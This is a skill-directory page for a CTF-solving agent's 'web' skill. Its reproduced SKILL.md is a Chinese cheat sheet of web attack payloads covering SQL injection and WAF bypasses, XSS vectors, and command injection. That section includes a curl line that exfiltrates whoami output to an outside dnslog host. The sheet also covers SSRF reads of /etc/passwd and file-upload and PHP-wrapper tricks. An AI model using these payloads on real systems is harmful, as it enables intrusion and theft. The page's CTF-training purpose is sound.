New: 97,000+ skills indexed from GitHub repos with 100+ stars · every skill safety-checkedBrowse top skillsTop skills
Esc to closeBrowse all skills
Submit a skillBrowse skills
Submit a skillBrowse skills

Agent skill

Web

by MuWinds in MuWinds/BUUCTF_Agent

Web 安全攻防技术，包括 SQL 注入、XSS、文件上传、命令注入、SSRF、反序列化等常见漏洞的识别与利用. An agent skill from MuWinds/BUUCTF_Agent.

Apache-2.0Auto-check passedSecurity

Install Web

skills CLI
$ npx skills add MuWinds/BUUCTF_Agent --skill web -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install MuWinds/BUUCTF_Agent web --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/MuWinds/BUUCTF_Agent.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/web .claude/skills/web && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
web
GitHub stars
267
Token cost
~463 tokens
SKILL.md length
126 words
Files
1
Skills in repo
3
Repo updated
First seen
Licence
Apache-2.0

At a glance

Web 安全攻防技术，包括 SQL 注入、XSS、文件上传、命令注入、SSRF、反序列化等常见漏洞的识别与利用. An agent skill from MuWinds/BUUCTF_Agent.

  • Works in 4 steps: 信息收集：识别 Web 框架、中间件版本、编程语言、WAF 类型 → 目录扫描：使用 dirsearch/gobuster 发现隐藏路径和备份文件 → 参数分析：检查 URL 参数、Cookie、HTTP 头的注入点 → …
  • Tasks that involve Web application vulnerabilities
  • SKILL.md covers 通用分析流程, SQL 注入, XSS and 命令注入, plus 3 more sections
  • Calls curl

What it does

Web is an agent skill from MuWinds/BUUCTF_Agent. Web 安全攻防技术，包括 SQL 注入、XSS、文件上传、命令注入、SSRF、反序列化等常见漏洞的识别与利用。

Its SKILL.md is about 460 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Web application vulnerabilities and SQL. It works with SQL and PHP. The repository describes itself as: 专为CTF设计的可扩展AI Agent，可自动解CTF题，也能与用户协作交互解题~. The licence is Apache-2.0.

When your agent uses it

  • Tasks that involve Web application vulnerabilities
  • Tasks that involve SQL

Example prompts

  • “/web”

Workflow steps

4 steps, taken from the first numbered list in SKILL.md.

  1. 信息收集：识别 Web 框架、中间件版本、编程语言、WAF 类型
  2. 目录扫描：使用 dirsearch/gobuster 发现隐藏路径和备份文件
  3. 参数分析：检查 URL 参数、Cookie、HTTP 头的注入点
  4. 漏洞验证：对可疑点进行 PoC 验证

What it can do on your machine

Read from SKILL.md and the folder at commit 95cc9e0. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md. Its commands use curl, which can reach the network depending on how they are called.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Web loads about 463 tokens when it runs. Until then it costs about 15 tokens; SKILL.md has 126 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~15
When it runs · the whole SKILL.md, loaded when a task matches
~463

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from MuWinds/BUUCTF_Agent at commit 95cc9e0, republished under its Apache-2.0 licence (© MuWinds). 126 words, ~463 tokens.

Download SKILL.mdSave it as .claude/skills/web/SKILL.md (or your agent's skills folder).
name
web
description
Web 安全攻防技术，包括 SQL 注入、XSS、文件上传、命令注入、SSRF、反序列化等常见漏洞的识别与利用。
tags
sql-injection, xss, file-upload, command-injection, ssrf, deserialization, php

Web 安全攻防方法论

通用分析流程

  1. 信息收集：识别 Web 框架、中间件版本、编程语言、WAF 类型
  2. 目录扫描：使用 dirsearch/gobuster 发现隐藏路径和备份文件
  3. 参数分析：检查 URL 参数、Cookie、HTTP 头的注入点
  4. 漏洞验证：对可疑点进行 PoC 验证

SQL 注入

  • 判断类型：字符型 vs 数字型，单引号 vs 双引号
  • 联合查询：ORDER BY 确定列数 -> UNION SELECT 提取数据
  • 盲注：布尔盲注 AND 1=1/AND 1=2，时间盲注 SLEEP()/BENCHMARK()
  • 常用工具：sqlmap --batch --dbs --current-user
  • 绕过技巧：大小写混合、内联注释 /**/、双重编码、HPP 参数污染
  • WAF 绕过：使用 /*!50000select*/、%0a 换行、<> 替代空格

XSS

  • 反射型：输入直接输出到页面，检查 <>\"'/ 过滤情况
  • 存储型：输入持久化存储，关注评论、用户名等字段
  • DOM 型：检查 document.location、innerHTML 等 DOM 操作
  • 绕过：<img onerror=alert(1)>、<svg onload=alert(1)>、编码绕过

命令注入

  • 分隔符：;、&&、||、|、\n、`
  • 绕过空格：$IFS、{cmd,arg}、%09、< 重定向
  • 绕过黑名单：变量拼接 a=fl;b=ag;cat $a$b、通配符 cat /fl*、base64 编码
  • 无回显：DNS 外带 curl \whoami`.xxx.dnslog.cn`、时间盲注

文件上传

  • 前端绕过：禁用 JS 或直接修改请求
  • MIME 类型：修改 Content-Type 为 image/png
  • 扩展名：.php5、.phtml、.pht、.php.jpg（Apache 解析漏洞）
  • 文件头：添加 GIF89a 或 PNG 文件头
  • 二次渲染：上传后检查是否被裁剪，构造在裁剪后仍有效的图片马
  • .htaccess：上传 .htaccess 添加自定义解析规则

SSRF

  • 协议：file:///etc/passwd、dict://、gopher://
  • 内网探测：http://127.0.0.1:端口、http://192.168.x.x
  • 绕过：@ 符号 http://attacker.com@127.0.0.1、进制转换 0x7f000001、IPv6 [::1]
  • DNS Rebinding：利用 DNS 解析时间差绕过校验

PHP 特性

  • 弱类型：== 比较时 "0e123" == "0e456" 为 True
  • 伪协议：php://filter/convert.base64-encode/resource=、php://input
  • 反序列化：__construct、__destruct、__wakeup、__toString 魔术方法
  • 变量覆盖：extract()、parse_str()、$$var
  • 文件包含：../ 目录穿越、%00 截断（PHP < 5.3.4）

© MuWinds, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/web of MuWinds/BUUCTF_Agent.

Open the folder on GitHubat commit 95cc9e0

Compare with similar skills

Web next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Web compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Web this skillMuWinds/BUUCTF_Agent267—~463Automated safety check: PassApache-2.0
Php Codeigniter Audit0xShe/PHP-Code-Audit-Skill4021 repos~477Automated safety check: PassNone
Php Thinkphp Audit0xShe/PHP-Code-Audit-Skill4021 repos~779Automated safety check: PassNone
Php Injection Auditwgpsec/AboutSecurity1.8k—~965Automated safety check: PassNone
Secknowledge SkillPa55w0rd/secknowledge-skill423—~2.7kAutomated safety check: PassNone
Code Security AuditProgrammerAnthony/Expert-Coding-Harness235—~1.6kAutomated safety check: PassMIT

Similar skills

  • Php Codeigniter Audit

    0xShe/PHP-Code-Audit-Skill

    CodeIgniter 框架特效安全审计工具。针对 CodeIgniter 的 CSRF、XSS 输出过滤、数据库查询构造、路由与验证器配置、会话 Cookie 安全等机制进行白盒静态审计，并映射到通用漏洞类型体系（CSRF/AUTH/XSS/SQL/CFG/SESS 等）。

    402 GitHub starsUsed in 1 repo~477 tokens
    SecurityAuto-check passed

  • Php Thinkphp Audit

    0xShe/PHP-Code-Audit-Skill

    ThinkPHP 框架特效安全审计工具。针对 ThinkPHP 常见的鉴权/CSRF/模板转义/ORM 写入（Mass Assignment）/调试与配置暴露等机制进行白盒静态审计，并映射到通用漏洞类型体系（AUTH/CSRF/TPL/XSS/LOGIC/CFG/SESS/SQL 等）。

    402 GitHub starsUsed in 1 repo~779 tokens
    SecurityAuto-check passed

  • Php Injection Audit

    wgpsec/AboutSecurity

    PHP 源码注入类漏洞审计。当在 PHP 白盒审计中需要检测注入类漏洞时触发. An agent skill from wgpsec/AboutSecurity.

    1.8k GitHub stars~965 tokensUpdated 4 days ago
    DatabasesAuto-check passed

  • Secknowledge Skill

    Pa55w0rd/secknowledge-skill

    Web+AI 安全测试知识库。融合 WooYun 88,636 案例 + 先知 L1-L4 方法论 + GAARM 173 风险 + OWASP Top 10 (LLM/ASI/WSTG)。

    423 GitHub stars~2.7k tokensUpdated 3 mo ago
    SecurityAuto-check passed

  • Code Security Audit

    ProgrammerAnthony/Expert-Coding-Harness

    A skill your agent uses when 用户需要对代码进行安全审计、发现安全漏洞、上线前安全评估、检查代码是否存在安全风险时。触发场景：代码安全审计、安全审计、白盒审计、安全扫描、漏洞检测、漏洞挖掘、SQL注入、命令注入、XSS、SSRF、反序列化、认证绕过、越权、代码安全检查、security audit、code…

    235 GitHub stars~1.6k tokensUpdated 4 mo ago
    SecurityAuto-check passed

  • TS Review

    liuyanghejerry/Clausura

    TypeScript monorepo 审查：XSS、SQL 注入、密钥、any、console.log. An agent skill from liuyanghejerry/Clausura.

    204 GitHub stars~166 tokensUpdated 8 days ago
    SecurityAuto-check passed

More from MuWinds/BUUCTF_Agent

  • Misc

    MuWinds/BUUCTF_Agent

    杂项技术，包括隐写术、流量分析、编码转换、取证分析、AI 安全等非传统 CTF 分类. An agent skill from MuWinds/BUUCTF_Agent.

    267 GitHub stars~504 tokensUpdated 1 mo ago
    Auto-check passed

  • Forensics Disk

    MuWinds/BUUCTF_Agent

    磁盘取证分析技术，涵盖 NTFS/FAT/ext 文件系统解析、文件恢复、时间线分析、日志挖掘等实战技能. An agent skill from MuWinds/BUUCTF_Agent.

    267 GitHub stars~1k tokensUpdated 1 mo ago
    Auto-check: warnings

Works with

Categories

Questions about Web

What does Web do?

Web 安全攻防技术，包括 SQL 注入、XSS、文件上传、命令注入、SSRF、反序列化等常见漏洞的识别与利用. An agent skill from MuWinds/BUUCTF_Agent. Web is an agent skill from MuWinds/BUUCTF_Agent.

When should I use Web?

Web fits situations like: tasks that involve Web application vulnerabilities; tasks that involve SQL.

How do I install Web in Claude Code?

Run `npx skills add MuWinds/BUUCTF_Agent --skill web -a claude-code`. Or copy the skill folder (skills/web in MuWinds/BUUCTF_Agent) into .claude/skills/web in your project. Claude Code loads it when a task matches its description.

How do I install Web in Codex?

Run `npx skills add MuWinds/BUUCTF_Agent --skill web -a codex`. Or copy the skill folder (skills/web in MuWinds/BUUCTF_Agent) into .agents/skills/web in your project. Codex loads it when a task matches its description.

Can I use Web in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add MuWinds/BUUCTF_Agent --skill web -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/web, .gemini/skills/web, .github/skills/web and .opencode/skills/web in your project.

What does Web need to run?

Going by SKILL.md and its folder, Web needs the command-line tools its instructions call (curl).

Does Web access the network?

SKILL.md contains no URLs. Its commands use curl, which can reach the network depending on how they are called. This is read from the text; nothing was executed.

Is Web safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Web use?

Web is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Web use?

About 463 tokens (SKILL.md is roughly 1.9k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Web?

Skills that share tags, products or a category with Web: Php Codeigniter Audit (0xShe/PHP-Code-Audit-Skill, 402 stars), Php Thinkphp Audit (0xShe/PHP-Code-Audit-Skill, 402 stars), Php Injection Audit (wgpsec/AboutSecurity, 1.8k stars) and Secknowledge Skill (Pa55w0rd/secknowledge-skill, 423 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Web?

MuWinds (a GitHub user) maintains it in MuWinds/BUUCTF_Agent, which has 267 GitHub stars. The repository holds 3 skills in this directory. The repository was last updated on September 5, 2026.

Source: MuWinds/BUUCTF_Agent on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.